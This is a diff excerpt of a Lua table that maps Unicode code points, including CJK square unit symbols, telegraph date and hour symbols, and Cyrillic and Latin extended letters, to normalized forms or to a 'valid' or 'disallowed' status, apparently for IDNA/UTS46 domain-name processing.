+ [0x334E] = {0x30E4, 0x30FC, 0x30C9}, -- SQUARE YAADO
+ [0x334F] = {0x30E4, 0x30FC, 0x30EB}, -- SQUARE YAARU
+ [0x3350] = {0x30E6, 0x30A2, 0x30F3}, -- SQUARE YUAN
+ [0x3351] = {0x30EA, 0x30C3, 0x30C8, 0x30EB}, -- SQUARE RITTORU
+ [0x3352] = {0x30EA, 0x30E9}, -- SQUARE RIRA
+ [0x3353] = {0x30EB, 0x30D4, 0x30FC}, -- SQUARE RUPII
+ [0x3354] = {0x30EB, 0x30FC, 0x30D6, 0x30EB}, -- SQUARE RUUBURU
+ [0x3355] = {0x30EC, 0x30E0}, -- SQUARE REMU
+ [0x3356] = {0x30EC, 0x30F3, 0x30C8, 0x30B2, 0x30F3}, -- SQUARE RENTOGEN
+ [0x3357] = {0x30EF, 0x30C3, 0x30C8}, -- SQUARE WATTO
+ [0x3358] = {0x0030, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ZERO
+ [0x3359] = {0x0031, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ONE
+ [0x335A] = {0x0032, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWO
+ [0x335B] = {0x0033, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THREE
+ [0x335C] = {0x0034, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOUR
+ [0x335D] = {0x0035, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIVE
+ [0x335E] = {0x0036, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIX
+ [0x335F] = {0x0037, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVEN
+ [0x3360] = {0x0038, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHT
+ [0x3361] = {0x0039, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINE
+ [0x3362] = {0x0031, 0x0030, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TEN
+ [0x3363] = {0x0031, 0x0031, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR ELEVEN
+ [0x3364] = {0x0031, 0x0032, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWELVE
+ [0x3365] = {0x0031, 0x0033, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR THIRTEEN
+ [0x3366] = {0x0031, 0x0034, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FOURTEEN
+ [0x3367] = {0x0031, 0x0035, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR FIFTEEN
+ [0x3368] = {0x0031, 0x0036, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SIXTEEN
+ [0x3369] = {0x0031, 0x0037, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR SEVENTEEN
+ [0x336A] = {0x0031, 0x0038, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR EIGHTEEN
+ [0x336B] = {0x0031, 0x0039, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR NINETEEN
+ [0x336C] = {0x0032, 0x0030, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY
+ [0x336D] = {0x0032, 0x0031, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-ONE
+ [0x336E] = {0x0032, 0x0032, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-TWO
+ [0x336F] = {0x0032, 0x0033, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-THREE
+ [0x3370] = {0x0032, 0x0034, 0x70B9}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR HOUR TWENTY-FOUR
+ [0x3371] = {0x0068, 0x0070, 0x0061}, -- SQUARE HPA
+ [0x3372] = {0x0064, 0x0061}, -- SQUARE DA
+ [0x3373] = {0x0061, 0x0075}, -- SQUARE AU
+ [0x3374] = {0x0062, 0x0061, 0x0072}, -- SQUARE BAR
+ [0x3375] = {0x006F, 0x0076}, -- SQUARE OV
+ [0x3376] = {0x0070, 0x0063}, -- SQUARE PC
+ [0x3377] = {0x0064, 0x006D}, -- SQUARE DM
+ [0x3378] = {0x0064, 0x006D, 0x0032}, -- SQUARE DM SQUARED
+ [0x3379] = {0x0064, 0x006D, 0x0033}, -- SQUARE DM CUBED
+ [0x337A] = {0x0069, 0x0075}, -- SQUARE IU
+ [0x337B] = {0x5E73, 0x6210}, -- SQUARE ERA NAME HEISEI
+ [0x337C] = {0x662D, 0x548C}, -- SQUARE ERA NAME SYOUWA
+ [0x337D] = {0x5927, 0x6B63}, -- SQUARE ERA NAME TAISYOU
+ [0x337E] = {0x660E, 0x6CBB}, -- SQUARE ERA NAME MEIZI
+ [0x337F] = {0x682A, 0x5F0F, 0x4F1A, 0x793E}, -- SQUARE CORPORATION
+ [0x3380] = {0x0070, 0x0061}, -- SQUARE PA AMPS
+ [0x3381] = {0x006E, 0x0061}, -- SQUARE NA
+ [0x3382] = {0x03BC, 0x0061}, -- SQUARE MU A
+ [0x3383] = {0x006D, 0x0061}, -- SQUARE MA
+ [0x3384] = {0x006B, 0x0061}, -- SQUARE KA
+ [0x3385] = {0x006B, 0x0062}, -- SQUARE KB
+ [0x3386] = {0x006D, 0x0062}, -- SQUARE MB
+ [0x3387] = {0x0067, 0x0062}, -- SQUARE GB
+ [0x3388] = {0x0063, 0x0061, 0x006C}, -- SQUARE CAL
+ [0x3389] = {0x006B, 0x0063, 0x0061, 0x006C}, -- SQUARE KCAL
+ [0x338A] = {0x0070, 0x0066}, -- SQUARE PF
+ [0x338B] = {0x006E, 0x0066}, -- SQUARE NF
+ [0x338C] = {0x03BC, 0x0066}, -- SQUARE MU F
+ [0x338D] = {0x03BC, 0x0067}, -- SQUARE MU G
+ [0x338E] = {0x006D, 0x0067}, -- SQUARE MG
+ [0x338F] = {0x006B, 0x0067}, -- SQUARE KG
+ [0x3390] = {0x0068, 0x007A}, -- SQUARE HZ
+ [0x3391] = {0x006B, 0x0068, 0x007A}, -- SQUARE KHZ
+ [0x3392] = {0x006D, 0x0068, 0x007A}, -- SQUARE MHZ
+ [0x3393] = {0x0067, 0x0068, 0x007A}, -- SQUARE GHZ
+ [0x3394] = {0x0074, 0x0068, 0x007A}, -- SQUARE THZ
+ [0x3395] = {0x03BC, 0x006C}, -- SQUARE MU L
+ [0x3396] = {0x006D, 0x006C}, -- SQUARE ML
+ [0x3397] = {0x0064, 0x006C}, -- SQUARE DL
+ [0x3398] = {0x006B, 0x006C}, -- SQUARE KL
+ [0x3399] = {0x0066, 0x006D}, -- SQUARE FM
+ [0x339A] = {0x006E, 0x006D}, -- SQUARE NM
+ [0x339B] = {0x03BC, 0x006D}, -- SQUARE MU M
+ [0x339C] = {0x006D, 0x006D}, -- SQUARE MM
+ [0x339D] = {0x0063, 0x006D}, -- SQUARE CM
+ [0x339E] = {0x006B, 0x006D}, -- SQUARE KM
+ [0x339F] = {0x006D, 0x006D, 0x0032}, -- SQUARE MM SQUARED
+ [0x33A0] = {0x0063, 0x006D, 0x0032}, -- SQUARE CM SQUARED
+ [0x33A1] = {0x006D, 0x0032}, -- SQUARE M SQUARED
+ [0x33A2] = {0x006B, 0x006D, 0x0032}, -- SQUARE KM SQUARED
+ [0x33A3] = {0x006D, 0x006D, 0x0033}, -- SQUARE MM CUBED
+ [0x33A4] = {0x0063, 0x006D, 0x0033}, -- SQUARE CM CUBED
+ [0x33A5] = {0x006D, 0x0033}, -- SQUARE M CUBED
+ [0x33A6] = {0x006B, 0x006D, 0x0033}, -- SQUARE KM CUBED
+ [0x33A7] = {0x006D, 0x2215, 0x0073}, -- SQUARE M OVER S
+ [0x33A8] = {0x006D, 0x2215, 0x0073, 0x0032}, -- SQUARE M OVER S SQUARED
+ [0x33A9] = {0x0070, 0x0061}, -- SQUARE PA
+ [0x33AA] = {0x006B, 0x0070, 0x0061}, -- SQUARE KPA
+ [0x33AB] = {0x006D, 0x0070, 0x0061}, -- SQUARE MPA
+ [0x33AC] = {0x0067, 0x0070, 0x0061}, -- SQUARE GPA
+ [0x33AD] = {0x0072, 0x0061, 0x0064}, -- SQUARE RAD
+ [0x33AE] = {0x0072, 0x0061, 0x0064, 0x2215, 0x0073}, -- SQUARE RAD OVER S
+ [0x33AF] = {0x0072, 0x0061, 0x0064, 0x2215, 0x0073, 0x0032}, -- SQUARE RAD OVER S SQUARED
+ [0x33B0] = {0x0070, 0x0073}, -- SQUARE PS
+ [0x33B1] = {0x006E, 0x0073}, -- SQUARE NS
+ [0x33B2] = {0x03BC, 0x0073}, -- SQUARE MU S
+ [0x33B3] = {0x006D, 0x0073}, -- SQUARE MS
+ [0x33B4] = {0x0070, 0x0076}, -- SQUARE PV
+ [0x33B5] = {0x006E, 0x0076}, -- SQUARE NV
+ [0x33B6] = {0x03BC, 0x0076}, -- SQUARE MU V
+ [0x33B7] = {0x006D, 0x0076}, -- SQUARE MV
+ [0x33B8] = {0x006B, 0x0076}, -- SQUARE KV
+ [0x33B9] = {0x006D, 0x0076}, -- SQUARE MV MEGA
+ [0x33BA] = {0x0070, 0x0077}, -- SQUARE PW
+ [0x33BB] = {0x006E, 0x0077}, -- SQUARE NW
+ [0x33BC] = {0x03BC, 0x0077}, -- SQUARE MU W
+ [0x33BD] = {0x006D, 0x0077}, -- SQUARE MW
+ [0x33BE] = {0x006B, 0x0077}, -- SQUARE KW
+ [0x33BF] = {0x006D, 0x0077}, -- SQUARE MW MEGA
+ [0x33C0] = {0x006B, 0x03C9}, -- SQUARE K OHM
+ [0x33C1] = {0x006D, 0x03C9}, -- SQUARE M OHM
+ [0x33C2] = {status="disallowed"}, -- SQUARE AM
+ [0x33C3] = {0x0062, 0x0071}, -- SQUARE BQ
+ [0x33C4] = {0x0063, 0x0063}, -- SQUARE CC
+ [0x33C5] = {0x0063, 0x0064}, -- SQUARE CD
+ [0x33C6] = {0x0063, 0x2215, 0x006B, 0x0067}, -- SQUARE C OVER KG
+ [0x33C7] = {status="disallowed"}, -- SQUARE CO
+ [0x33C8] = {0x0064, 0x0062}, -- SQUARE DB
+ [0x33C9] = {0x0067, 0x0079}, -- SQUARE GY
+ [0x33CA] = {0x0068, 0x0061}, -- SQUARE HA
+ [0x33CB] = {0x0068, 0x0070}, -- SQUARE HP
+ [0x33CC] = {0x0069, 0x006E}, -- SQUARE IN
+ [0x33CD] = {0x006B, 0x006B}, -- SQUARE KK
+ [0x33CE] = {0x006B, 0x006D}, -- SQUARE KM CAPITAL
+ [0x33CF] = {0x006B, 0x0074}, -- SQUARE KT
+ [0x33D0] = {0x006C, 0x006D}, -- SQUARE LM
+ [0x33D1] = {0x006C, 0x006E}, -- SQUARE LN
+ [0x33D2] = {0x006C, 0x006F, 0x0067}, -- SQUARE LOG
+ [0x33D3] = {0x006C, 0x0078}, -- SQUARE LX
+ [0x33D4] = {0x006D, 0x0062}, -- SQUARE MB SMALL
+ [0x33D5] = {0x006D, 0x0069, 0x006C}, -- SQUARE MIL
+ [0x33D6] = {0x006D, 0x006F, 0x006C}, -- SQUARE MOL
+ [0x33D7] = {0x0070, 0x0068}, -- SQUARE PH
+ [0x33D8] = {status="disallowed"}, -- SQUARE PM
+ [0x33D9] = {0x0070, 0x0070, 0x006D}, -- SQUARE PPM
+ [0x33DA] = {0x0070, 0x0072}, -- SQUARE PR
+ [0x33DB] = {0x0073, 0x0072}, -- SQUARE SR
+ [0x33DC] = {0x0073, 0x0076}, -- SQUARE SV
+ [0x33DD] = {0x0077, 0x0062}, -- SQUARE WB
+ [0x33DE] = {0x0076, 0x2215, 0x006D}, -- SQUARE V OVER M
+ [0x33DF] = {0x0061, 0x2215, 0x006D}, -- SQUARE A OVER M
+ [0x33E0] = {0x0031, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ONE
+ [0x33E1] = {0x0032, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWO
+ [0x33E2] = {0x0033, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THREE
+ [0x33E3] = {0x0034, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOUR
+ [0x33E4] = {0x0035, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIVE
+ [0x33E5] = {0x0036, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIX
+ [0x33E6] = {0x0037, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVEN
+ [0x33E7] = {0x0038, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHT
+ [0x33E8] = {0x0039, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINE
+ [0x33E9] = {0x0031, 0x0030, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TEN
+ [0x33EA] = {0x0031, 0x0031, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY ELEVEN
+ [0x33EB] = {0x0031, 0x0032, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWELVE
+ [0x33EC] = {0x0031, 0x0033, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTEEN
+ [0x33ED] = {0x0031, 0x0034, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FOURTEEN
+ [0x33EE] = {0x0031, 0x0035, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY FIFTEEN
+ [0x33EF] = {0x0031, 0x0036, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SIXTEEN
+ [0x33F0] = {0x0031, 0x0037, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY SEVENTEEN
+ [0x33F1] = {0x0031, 0x0038, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY EIGHTEEN
+ [0x33F2] = {0x0031, 0x0039, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY NINETEEN
+ [0x33F3] = {0x0032, 0x0030, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY
+ [0x33F4] = {0x0032, 0x0031, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-ONE
+ [0x33F5] = {0x0032, 0x0032, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-TWO
+ [0x33F6] = {0x0032, 0x0033, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-THREE
+ [0x33F7] = {0x0032, 0x0034, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FOUR
+ [0x33F8] = {0x0032, 0x0035, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-FIVE
+ [0x33F9] = {0x0032, 0x0036, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SIX
+ [0x33FA] = {0x0032, 0x0037, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-SEVEN
+ [0x33FB] = {0x0032, 0x0038, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-EIGHT
+ [0x33FC] = {0x0032, 0x0039, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY TWENTY-NINE
+ [0x33FD] = {0x0033, 0x0030, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY
+ [0x33FE] = {0x0033, 0x0031, 0x65E5}, -- IDEOGRAPHIC TELEGRAPH SYMBOL FOR DAY THIRTY-ONE
+ [0x33FF] = {0x0067, 0x0061, 0x006C}, -- SQUARE GAL
+ [0x9FCC] = {status="valid"}, -- CJK UNIFIED IDEOGRAPH-9FCC
+ -- NA <reserved-A48D>..<reserved-A48F>
+ [0xA48D] = {status="disallowed"},
+ [0xA48E] = {status="disallowed"},
+ [0xA48F] = {status="disallowed"},
+ [0xA4B4] = {status="disallowed"}, -- YI RADICAL NZUP
+ [0xA4C1] = {status="disallowed"}, -- YI RADICAL ZUR
+ [0xA4C5] = {status="disallowed"}, -- YI RADICAL NBIE
+ [0xA4C6] = {status="disallowed"}, -- YI RADICAL KE
+ -- YI RADICAL SHOP..YI RADICAL ZZIET
+ [0xA4C2] = {status="disallowed"},
+ [0xA4C3] = {status="disallowed"},
+ [0xA4C4] = {status="disallowed"},
+ -- LISU PUNCTUATION COMMA..LISU PUNCTUATION FULL STOP
+ [0xA4FE] = {status="disallowed"},
+ [0xA4FF] = {status="disallowed"},
+ -- VAI COMMA..VAI QUESTION MARK
+ [0xA60D] = {status="disallowed"},
+ [0xA60E] = {status="disallowed"},
+ [0xA60F] = {status="disallowed"},
+ [0xA640] = 0xA641, -- CYRILLIC CAPITAL LETTER ZEMLYA
+ [0xA641] = {status="valid"}, -- CYRILLIC SMALL LETTER ZEMLYA
+ [0xA642] = 0xA643, -- CYRILLIC CAPITAL LETTER DZELO
+ [0xA643] = {status="valid"}, -- CYRILLIC SMALL LETTER DZELO
+ [0xA644] = 0xA645, -- CYRILLIC CAPITAL LETTER REVERSED DZE
+ [0xA645] = {status="valid"}, -- CYRILLIC SMALL LETTER REVERSED DZE
+ [0xA646] = 0xA647, -- CYRILLIC CAPITAL LETTER IOTA
+ [0xA647] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTA
+ [0xA648] = 0xA649, -- CYRILLIC CAPITAL LETTER DJERV
+ [0xA649] = {status="valid"}, -- CYRILLIC SMALL LETTER DJERV
+ [0xA64A] = 0xA64B, -- CYRILLIC CAPITAL LETTER MONOGRAPH UK
+ [0xA64B] = {status="valid"}, -- CYRILLIC SMALL LETTER MONOGRAPH UK
+ [0xA64C] = 0xA64D, -- CYRILLIC CAPITAL LETTER BROAD OMEGA
+ [0xA64D] = {status="valid"}, -- CYRILLIC SMALL LETTER BROAD OMEGA
+ [0xA64E] = 0xA64F, -- CYRILLIC CAPITAL LETTER NEUTRAL YER
+ [0xA64F] = {status="valid"}, -- CYRILLIC SMALL LETTER NEUTRAL YER
+ [0xA650] = 0xA651, -- CYRILLIC CAPITAL LETTER YERU WITH BACK YER
+ [0xA651] = {status="valid"}, -- CYRILLIC SMALL LETTER YERU WITH BACK YER
+ [0xA652] = 0xA653, -- CYRILLIC CAPITAL LETTER IOTIFIED YAT
+ [0xA653] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTIFIED YAT
+ [0xA654] = 0xA655, -- CYRILLIC CAPITAL LETTER REVERSED YU
+ [0xA655] = {status="valid"}, -- CYRILLIC SMALL LETTER REVERSED YU
+ [0xA656] = 0xA657, -- CYRILLIC CAPITAL LETTER IOTIFIED A
+ [0xA657] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTIFIED A
+ [0xA658] = 0xA659, -- CYRILLIC CAPITAL LETTER CLOSED LITTLE YUS
+ [0xA659] = {status="valid"}, -- CYRILLIC SMALL LETTER CLOSED LITTLE YUS
+ [0xA65A] = 0xA65B, -- CYRILLIC CAPITAL LETTER BLENDED YUS
+ [0xA65B] = {status="valid"}, -- CYRILLIC SMALL LETTER BLENDED YUS
+ [0xA65C] = 0xA65D, -- CYRILLIC CAPITAL LETTER IOTIFIED CLOSED LITTLE YUS
+ [0xA65D] = {status="valid"}, -- CYRILLIC SMALL LETTER IOTIFIED CLOSED LITTLE YUS
+ [0xA65E] = 0xA65F, -- CYRILLIC CAPITAL LETTER YN
+ [0xA65F] = {status="valid"}, -- CYRILLIC SMALL LETTER YN
+ [0xA660] = 0xA661, -- CYRILLIC CAPITAL LETTER REVERSED TSE
+ [0xA661] = {status="valid"}, -- CYRILLIC SMALL LETTER REVERSED TSE
+ [0xA662] = 0xA663, -- CYRILLIC CAPITAL LETTER SOFT DE
+ [0xA663] = {status="valid"}, -- CYRILLIC SMALL LETTER SOFT DE
+ [0xA664] = 0xA665, -- CYRILLIC CAPITAL LETTER SOFT EL
+ [0xA665] = {status="valid"}, -- CYRILLIC SMALL LETTER SOFT EL
+ [0xA666] = 0xA667, -- CYRILLIC CAPITAL LETTER SOFT EM
+ [0xA667] = {status="valid"}, -- CYRILLIC SMALL LETTER SOFT EM
+ [0xA668] = 0xA669, -- CYRILLIC CAPITAL LETTER MONOCULAR O
+ [0xA669] = {status="valid"}, -- CYRILLIC SMALL LETTER MONOCULAR O
+ [0xA66A] = 0xA66B, -- CYRILLIC CAPITAL LETTER BINOCULAR O
+ [0xA66B] = {status="valid"}, -- CYRILLIC SMALL LETTER BINOCULAR O
+ [0xA66C] = 0xA66D, -- CYRILLIC CAPITAL LETTER DOUBLE MONOCULAR O
+ -- CYRILLIC SMALL LETTER DOUBLE MONOCULAR O..COMBINING CYRILLIC VZMET
+ [0xA66D] = {status="valid"},
+ [0xA66E] = {status="valid"},
+ [0xA66F] = {status="valid"},
+ -- COMBINING CYRILLIC TEN MILLIONS SIGN..SLAVONIC ASTERISK
+ [0xA670] = {status="disallowed"},
+ [0xA671] = {status="disallowed"},
+ [0xA672] = {status="disallowed"},
+ [0xA673] = {status="disallowed"},
+ [0xA67E] = {status="disallowed"}, -- CYRILLIC KAVYKA
+ [0xA67F] = {status="valid"}, -- CYRILLIC PAYEROK
+ [0xA680] = 0xA681, -- CYRILLIC CAPITAL LETTER DWE
+ [0xA681] = {status="valid"}, -- CYRILLIC SMALL LETTER DWE
+ [0xA682] = 0xA683, -- CYRILLIC CAPITAL LETTER DZWE
+ [0xA683] = {status="valid"}, -- CYRILLIC SMALL LETTER DZWE
+ [0xA684] = 0xA685, -- CYRILLIC CAPITAL LETTER ZHWE
+ [0xA685] = {status="valid"}, -- CYRILLIC SMALL LETTER ZHWE
+ [0xA686] = 0xA687, -- CYRILLIC CAPITAL LETTER CCHE
+ [0xA687] = {status="valid"}, -- CYRILLIC SMALL LETTER CCHE
+ [0xA688] = 0xA689, -- CYRILLIC CAPITAL LETTER DZZE
+ [0xA689] = {status="valid"}, -- CYRILLIC SMALL LETTER DZZE
+ [0xA68A] = 0xA68B, -- CYRILLIC CAPITAL LETTER TE WITH MIDDLE HOOK
+ [0xA68B] = {status="valid"}, -- CYRILLIC SMALL LETTER TE WITH MIDDLE HOOK
+ [0xA68C] = 0xA68D, -- CYRILLIC CAPITAL LETTER TWE
+ [0xA68D] = {status="valid"}, -- CYRILLIC SMALL LETTER TWE
+ [0xA68E] = 0xA68F, -- CYRILLIC CAPITAL LETTER TSWE
+ [0xA68F] = {status="valid"}, -- CYRILLIC SMALL LETTER TSWE
+ [0xA690] = 0xA691, -- CYRILLIC CAPITAL LETTER TSSE
+ [0xA691] = {status="valid"}, -- CYRILLIC SMALL LETTER TSSE
+ [0xA692] = 0xA693, -- CYRILLIC CAPITAL LETTER TCHE
+ [0xA693] = {status="valid"}, -- CYRILLIC SMALL LETTER TCHE
+ [0xA694] = 0xA695, -- CYRILLIC CAPITAL LETTER HWE
+ [0xA695] = {status="valid"}, -- CYRILLIC SMALL LETTER HWE
+ [0xA696] = 0xA697, -- CYRILLIC CAPITAL LETTER SHWE
+ [0xA697] = {status="valid"}, -- CYRILLIC SMALL LETTER SHWE
+ [0xA698] = 0xA699, -- CYRILLIC CAPITAL LETTER DOUBLE O
+ [0xA699] = {status="valid"}, -- CYRILLIC SMALL LETTER DOUBLE O
+ [0xA69A] = 0xA69B, -- CYRILLIC CAPITAL LETTER CROSSED O
+ [0xA69B] = {status="valid"}, -- CYRILLIC SMALL LETTER CROSSED O
+ [0xA69C] = 0x044A, -- MODIFIER LETTER CYRILLIC HARD SIGN
+ [0xA69D] = 0x044C, -- MODIFIER LETTER CYRILLIC SOFT SIGN
+ [0xA69E] = {status="valid"}, -- COMBINING CYRILLIC LETTER EF
+ [0xA69F] = {status="valid"}, -- COMBINING CYRILLIC LETTER IOTIFIED E
+ -- BAMUM COMBINING MARK KOQNDON..BAMUM COMBINING MARK TUKWENTIS
+ [0xA6F0] = {status="valid"},
+ [0xA6F1] = {status="valid"},
+ [0xA722] = 0xA723, -- LATIN CAPITAL LETTER EGYPTOLOGICAL ALEF
+ [0xA723] = {status="valid"}, -- LATIN SMALL LETTER EGYPTOLOGICAL ALEF
+ [0xA724] = 0xA725, -- LATIN CAPITAL LETTER EGYPTOLOGICAL AIN
+ [0xA725] = {status="valid"}, -- LATIN SMALL LETTER EGYPTOLOGICAL AIN
+ [0xA726] = 0xA727, -- LATIN CAPITAL LETTER HENG
+ [0xA727] = {status="valid"}, -- LATIN SMALL LETTER HENG
+ [0xA728] = 0xA729, -- LATIN CAPITAL LETTER TZ
+ [0xA729] = {status="valid"}, -- LATIN SMALL LETTER TZ
+ [0xA72A] = 0xA72B, -- LATIN CAPITAL LETTER TRESILLO
+ [0xA72B] = {status="valid"}, -- LATIN SMALL LETTER TRESILLO
+ [0xA72C] = 0xA72D, -- LATIN CAPITAL LETTER CUATRILLO
+ [0xA72D] = {status="valid"}, -- LATIN SMALL LETTER CUATRILLO
+ [0xA72E] = 0xA72F, -- LATIN CAPITAL LETTER CUATRILLO WITH COMMA
+ -- MODIFIER LETTER STRESS AND HIGH TONE..MODIFIER LETTER STRESS AND LOW TONE
+ [0xA720] = {status="disallowed"},
+ [0xA721] = {status="disallowed"},
+ [0xA732] = 0xA733, -- LATIN CAPITAL LETTER AA
+ [0xA733] = {status="valid"}, -- LATIN SMALL LETTER AA
+ [0xA734] = 0xA735, -- LATIN CAPITAL LETTER AO
+ [0xA735] = {status="valid"}, -- LATIN SMALL LETTER AO
+ [0xA736] = 0xA737, -- LATIN CAPITAL LETTER AU
+ [0xA737] = {status="valid"}, -- LATIN SMALL LETTER AU
+ [0xA738] = 0xA739, -- LATIN CAPITAL LETTER AV
+ [0xA739] = {status="valid"}, -- LATIN SMALL LETTER AV
+ [0xA73A] = 0xA73B, -- LATIN CAPITAL LETTER AV WITH HORIZONTAL BAR
+ [0xA73B] = {status="valid"}, -- LATIN SMALL LETTER AV WITH HORIZONTAL BAR
+ [0xA73C] = 0xA73D, -- LATIN CAPITAL LETTER AY
+ [0xA73D] = {status="valid"}, -- LATIN SMALL LETTER AY
+ [0xA73E] = 0xA73F, -- LATIN CAPITAL LETTER REVERSED C WITH DOT
+ [0xA73F] = {status="valid"}, -- LATIN SMALL LETTER REVERSED C WITH DOT
+ [0xA740] = 0xA741, -- LATIN CAPITAL LETTER K WITH STROKE
+ [0xA741] = {status="valid"}, -- LATIN SMALL LETTER K WITH STROKE
+ [0xA742] = 0xA743, -- LATIN CAPITAL LETTER K WITH DIAGONAL STROKE
+ [0xA743] = {status="valid"}, -- LATIN SMALL LETTER K WITH DIAGONAL STROKE
+ [0xA744] = 0xA745, -- LATIN CAPITAL LETTER K WITH STROKE AND DIAGONAL STROKE
+ [0xA745] = {status="valid"}, -- LATIN SMALL LETTER K WITH STROKE AND DIAGONAL STROKE
+ [0xA746] = 0xA747, -- LATIN CAPITAL LETTER BROKEN L
+ [0xA747] = {status="valid"}, -- LATIN SMALL LETTER BROKEN L
+ [0xA748] = 0xA749, -- LATIN CAPITAL LETTER L WITH HIGH STROKE
+ [0xA749] = {status="valid"}, -- LATIN SMALL LETTER L WITH HIGH STROKE
+ [0xA74A] = 0xA74B, -- LATIN CAPITAL LETTER O WITH LONG STROKE OVERLAY
+ [0xA74B] = {status="valid"}, -- LATIN SMALL LETTER O WITH LONG STROKE OVERLAY
+ [0xA74C] = 0xA74D, -- LATIN CAPITAL LETTER O WITH LOOP
+ [0xA74D] = {status="valid"}, -- LATIN SMALL LETTER O WITH LOOP
+ [0xA74E] = 0xA74F, -- LATIN CAPITAL LETTER OO
+ [0xA74F] = {status="valid"}, -- LATIN SMALL LETTER OO
+ [0xA750] = 0xA751, -- LATIN CAPITAL LETTER P WITH STROKE THROUGH DESCENDER
+ [0xA751] = {status="valid"}, -- LATIN SMALL LETTER P WITH STROKE THROUGH DESCENDER
+ [0xA752] = 0xA753, -- LATIN CAPITAL LETTER P WITH FLOURISH
+ [0xA753] = {status="valid"}, -- LATIN SMALL LETTER P WITH FLOURISH
+ [0xA754] = 0xA755, -- LATIN CAPITAL LETTER P WITH SQUIRREL TAIL
+ [0xA755] = {status="valid"}, -- LATIN SMALL LETTER P WITH SQUIRREL TAIL
+ [0xA756] = 0xA757, -- LATIN CAPITAL LETTER Q WITH STROKE THROUGH DESCENDER
+ [0xA757] = {status="valid"}, -- LATIN SMALL LETTER Q WITH STROKE THROUGH DESCENDER
+ [0xA758] = 0xA759, -- LATIN CAPITAL LETTER Q WITH DIAGONAL STROKE
+ [0xA759] = {status="valid"}, -- LATIN SMALL LETTER Q WITH DIAGONAL STROKE
+ [0xA75A] = 0xA75B, -- LATIN CAPITAL LETTER R ROTUNDA
+ [0xA75B] = {status="valid"}, -- LATIN SMALL LETTER R ROTUNDA
+ [0xA75C] = 0xA75D, -- LATIN CAPITAL LETTER RUM ROTUNDA
